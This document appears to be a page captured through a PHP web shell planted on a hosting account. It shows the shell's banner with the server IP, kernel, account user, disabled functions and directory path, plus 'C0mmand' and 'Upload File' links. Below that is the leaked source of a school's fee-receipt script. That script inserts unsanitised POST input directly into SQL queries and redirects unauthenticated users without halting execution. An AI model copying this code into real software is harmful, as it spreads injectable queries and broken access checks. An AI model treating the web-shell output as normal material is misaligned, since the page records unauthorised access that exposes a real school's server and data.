|
Server IP : 2a02:4780:11:1359:0:1d43:a566:2 / Your IP : 216.73.216.199 Web Server : LiteSpeed System : Linux in-mum-web1259.main-hosting.eu 4.18.0-553.37.1.lve.el8.x86_64 #1 SMP Mon Feb 10 22:45:17 UTC 2025 x86_64 User : u490972518 ( 490972518) PHP Version : 5.6.40 Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail MySQL : ON | cURL : ON | WGET : ON | Perl : OFF | Python : OFF Directory (0755) : /home/u490972518/domains/ppschool.org.in/public_html/link/../admin/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<?php
$date1=date("d-m-Y");
$id=$_POST['app'];
//echo $date1;
session_start();
$lg=$_SESSION['admin'];
if(!$lg)
{
header("location:../admin/index.php");
}
?>
<?php
include("../link/databaseconnection.php");
$sel1="select * from studentfees where search ='$id' and date='$date1' order by id desc";
$res1=mysqli_query($conn,$sel1);
$row1=mysqli_fetch_array($res1,MYSQLI_BOTH);
$search=$row1['search'];
$sel="select * from registration where application ='$search'";
$res=mysqli_query($conn,$sel);
$row=mysqli_fetch_array($res,MYSQLI_BOTH);
$date=date("d/m/Y");
date_default_timezone_set("asia/kolkata");
$time=date("h:i:sa");
$datetime=$date." ".$time;
//echo"$app1";
$mediam=$row['mediam'];
?>
<html>
<head>
<style>
#name2
{
font-weight:bold;
}
</style>
<script src="../js/jquery-3.2.1.min.js"></script> <!--jquery-->
<script>
$(document).ready(function(){
$("#print").click(function(){
$("#pay").css("visibility","hidden");
$("#back").css("visibility","hidden");
$("#print").css("visibility","hidden");
window.print();
});
$("#back").click(function(){
window.location.href='student_showfees.php';
});
});
</script>
<link href="css/student_print.css" rel="stylesheet" type="text/css">
</head>
<body>
<table frame="border" width="100%" cellspacing="0">
<tr>
<td><span><img src="../images/logo2.png" height="50px" width="50px"/></span></td><td align="center"><span id="name" colspan="2" style="font-size:15px;font-weight:bold">GLORIOLE CONVENT SCHOOL</span><br/><span id="name1" style="font-size:14px">Navodaya Nagar Jiyanpur Azamgarh </span></td><td><b>Contact-</b>9450119224<br/><b>Web-</b>gcschool.co.in</td>
</tr>
</table>
<table border="1px;" width="100%" cellspacing="0">
<caption style="font-size:18px;font-weight:bold">Fee Receipt</caption>
<tr>
<td ><span id="name2">Sch No.</span></td><td><span id="name3"><?php echo $row1['search'];?></span></td><td ><span id="name2">Slip No.</span></td><td><span id="name3"><?php echo $row1['search'];?></span></td><td ><span id="name2">Date</span></td><td><span id="name3"><?php echo $row1['date'];?></span></td>
</tr>
<tr>
<td><span id="name2">Student Name</span></td><td width=""><span id="name3"><?php echo $row['name'];?></span></td><td><span id="name2">Parent's Name</span></td><td width=""><span id="name3"><?php echo $row['fname'];?></span></td><td ><span id="name2">Class</span></td><td width=""><span id="name3"><?php echo $row1['class'];?></span></td>
</tr>
</table>
<br/>
<table frame="box" width="100%" cellspacing="0px">
<tr>
<td colspan='16' align="center"><span id="name4" style="font-size:18px;font-weight:bold">Fees Category</span></td>
</tr>
<tr align="center">
<td><span id="name2">Month</span></td>
<td><span id="name2" >Month Fee</span></td>
<td><span id="name2">Conveyance</span></td>
<td><span id="name2">Total</span></td>
<td><span id="name2">Paid</span></td>
<td><span id="name2">Due Charge</span></td>
</tr>
<?php
$sum=0;
$sum1=0;
$sum12=0;
$sum13=0;
$tot13=0;
$paid131=0;
$remain1=0;
$sel2="select * from studentfees where search ='$id' and date='$date1' order by id desc";
$res2=mysqli_query($conn,$sel2);
while($row2=mysqli_fetch_array($res2,MYSQLI_BOTH))
{
$tot=$row2['total'];
$paid13=$row2['paid'];
$fee1=$row2['fee'];
$van1=$row2['van'];
$exam1=$row2['exam'];
$other1=$row2['other'];
$ann1=$row2['ann'];
$addm1=$row2['addm'];
$reg1=$row2['reg'];
$comp1=$row2['comp'];
$gen1=$row2['gen'];
$sum12=$fee1+$exam1+$other1+$ann1+$addm1+$reg1+$comp1+$gen1+$sum12;
$sum13=$fee1+$exam1+$other1+$ann1+$addm1+$reg1+$comp1+$gen1+$van1+$sum13;
$tot13=$sum13+$tot13;
$paid131=$paid13+$paid131;
$remain12=$row2['remain'];
$sum=$tot+$sum;
$sum1=$paid13+$sum1;
$remain1=$remain12+$remain1;
?>
<tr align="center">
<td><span id="name3"><?php echo $row2['month'];?></span></td>
<td><span id="name3"><?php echo $sum12;?></span></td>
<td><span id="name3"><?php echo $row2['van'];?></span></td>
<td><span id="name3"><?php echo $sum13;?></span></td>
<td><span id="name3"><?php echo $row2['paid'];?></span></td>
<td><span id="name3">-</span></td>
</tr>
<?php
}
?>
<tr align="center">
<td colspan="3" style="font-weight:bold;font-size:18px">Total</td><td style="font-weight:bold;font-size:18px"><span id="name3"><?php echo $tot13;?></span></td><td style="font-weight:bold;font-size:18px"><span id="name3"><?php echo $sum1;?></span></td><td style="font-weight:bold;font-size:18px"><span id="name3"><?php echo $row1['remain'];?></span></td>
</tr>
</table>
<table width="100%" frame="border" cellspacing="0">
<tr align="center">
<td width="50%" ><span id="name3" style="font-size:15px;font-weight:bold">Datetime</span></td>
</tr>
<tr>
<td align="center" width="70%"><span ><?php echo $datetime;?></span></td><td><br/><br/></td><td width="50%"><span id="name3" style="font-size:15px;font-weight:bold">Sign Of Receipt Staff</span></td>
</tr>
</table>
<br/>
<br/>
<table frame="border" width="100%" cellspacing="0">
<tr>
<td><span><img src="../images/logo2.png" height="50px" width="50px"/></span></td><td align="center"><span id="name" colspan="2" style="font-size:15px;font-weight:bold">GLORIOLE CONVENT SCHOOL</span><br/><span id="name1" style="font-size:14px">Navodaya Nagar Jiyanpur Azamgarh </span></td><td><b>Contact-</b>9450119224<br/><b>Web-</b>gcschool.co.in</td>
</tr>
</table>
<table border="1px;" width="100%" cellspacing="0">
<caption style="font-size:18px;font-weight:bold">Fee Receipt</caption>
<tr>
<td ><span id="name2">Sch No.</span></td><td><span id="name3"><?php echo $row1['search'];?></span></td><td ><span id="name2">Slip No.</span></td><td><span id="name3"><?php echo $row1['search'];?></span></td><td ><span id="name2">Date</span></td><td><span id="name3"><?php echo $row1['date'];?></span></td>
</tr>
<tr>
<td><span id="name2">Student Name</span></td><td width=""><span id="name3"><?php echo $row['name'];?></span></td><td><span id="name2">Parent's Name</span></td><td width=""><span id="name3"><?php echo $row['fname'];?></span></td><td ><span id="name2">Class</span></td><td width=""><span id="name3"><?php echo $row1['class'];?></span></td>
</tr>
</table>
<br/>
<table frame="box" width="100%" cellspacing="0px">
<tr>
<td colspan='16' align="center"><span id="name4" style="font-size:18px;font-weight:bold">Fees Category</span></td>
</tr>
<tr align="center">
<td><span id="name2">Month</span></td>
<td><span id="name2" >Month Fee</span></td>
<td><span id="name2">Conveyance</span></td>
<td><span id="name2">Total</span></td>
<td><span id="name2">Paid</span></td>
<td><span id="name2">Due Charge</span></td>
</tr>
<?php
$sum=0;
$sum1=0;
$sum12=0;
$sum13=0;
$tot13=0;
$paid131=0;
$remain1=0;
$sel2="select * from studentfees where search ='$id' and date='$date1' order by id desc";
$res2=mysqli_query($conn,$sel2);
while($row2=mysqli_fetch_array($res2,MYSQLI_BOTH))
{
$tot=$row2['total'];
$paid13=$row2['paid'];
$fee1=$row2['fee'];
$van1=$row2['van'];
$exam1=$row2['exam'];
$other1=$row2['other'];
$ann1=$row2['ann'];
$addm1=$row2['addm'];
$reg1=$row2['reg'];
$comp1=$row2['comp'];
$gen1=$row2['gen'];
$sum12=$fee1+$exam1+$other1+$ann1+$addm1+$reg1+$comp1+$gen1+$sum12;
$sum13=$fee1+$exam1+$other1+$ann1+$addm1+$reg1+$comp1+$gen1+$van1+$sum13;
$tot13=$sum13+$tot13;
$paid131=$paid13+$paid131;
$remain12=$row2['remain'];
$sum=$tot+$sum;
$sum1=$paid13+$sum1;
$remain1=$remain12+$remain1;
?>
<tr align="center">
<td><span id="name3"><?php echo $row2['month'];?></span></td>
<td><span id="name3"><?php echo $sum12;?></span></td>
<td><span id="name3"><?php echo $row2['van'];?></span></td>
<td><span id="name3"><?php echo $sum13;?></span></td>
<td><span id="name3"><?php echo $row2['paid'];?></span></td>
<td><span id="name3">-</span></td>
</tr>
<?php
}
?>
<tr align="center">
<td colspan="3" style="font-weight:bold;font-size:18px">Total</td><td style="font-weight:bold;font-size:18px"><span id="name3"><?php echo $tot13;?></span></td><td style="font-weight:bold;font-size:18px"><span id="name3"><?php echo $sum1;?></span></td><td style="font-weight:bold;font-size:18px"><span id="name3"><?php echo $row1['remain'];?></span></td>
</tr>
</table>
<table width="100%" frame="border" cellspacing="0">
<tr align="center">
<td width="50%" ><span id="name3" style="font-size:15px;font-weight:bold">Datetime</span></td>
</tr>
<tr>
<td align="center" width="70%"><span ><?php echo $datetime;?></span></td><td><br/><br/></td><td width="50%"><span id="name3" style="font-size:15px;font-weight:bold">Sign Of Receipt Staff</span></td>
</tr>
</table>
<button id="print" style="margin-left:500px;" >Print</button>     
<span><button id="back" >Back</button></span>
</body>
</html>